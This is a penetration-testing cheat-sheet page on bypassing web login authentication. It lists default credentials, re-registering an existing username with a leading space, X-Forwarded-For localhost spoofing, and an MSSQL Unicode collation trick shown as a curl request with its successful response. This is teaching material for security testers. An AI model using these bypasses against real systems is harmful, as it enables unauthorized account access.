> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/login-forms-attacks/authentication.md).

# Bypass Authentication

{% embed url="<https://karol-mazurek.medium.com/appsec-tales-ii-sign-in-3e880f16c588>" %}

## Default Password

{% content-ref url="/pages/qqzJ1keOOlfL6KlhTMDd" %}
[Default Credentials](/0xss0rz/pentest/brute-force/default-credentials.md)
{% endcontent-ref %}

## Re-registration of an existing user

1. There is an existing user with the name **admin**
2. Register a new user " **admin**" (space in the starting)
3. Login with " admin"
4. That user will have the same right as normal admin. That new user will also be able to see all the content presented under the user admin.

## X-Forwarded-For

Try with:

`X-Forwarded-For: 127.0.0.1`

## MSSQL Unicode Collation

```
:~$ curl -i "http://localhost:5055/login" -X POST -d "email=💩&password=foo"
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 26 Nov 2024 02:56:43 GMT
Server: Kestrel
Transfer-Encoding: chunked

"Logged in user ID 9"
```

{% embed url="<https://pulsesecurity.co.nz/articles/mssql-unicode-collation-bugs>" %}

## SQL injection

{% content-ref url="/pages/Dh9r9uiMPAgYlFGxZE2L" %}
[SQL Injection](/0xss0rz/pentest/web-attacks/sql-injection.md)
{% endcontent-ref %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FtT3srZzbUxV8iN6zjNrl%2Fimage.png?alt=media&amp;token=962e4759-e8b9-4e26-b998-6df524fdfaf8" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.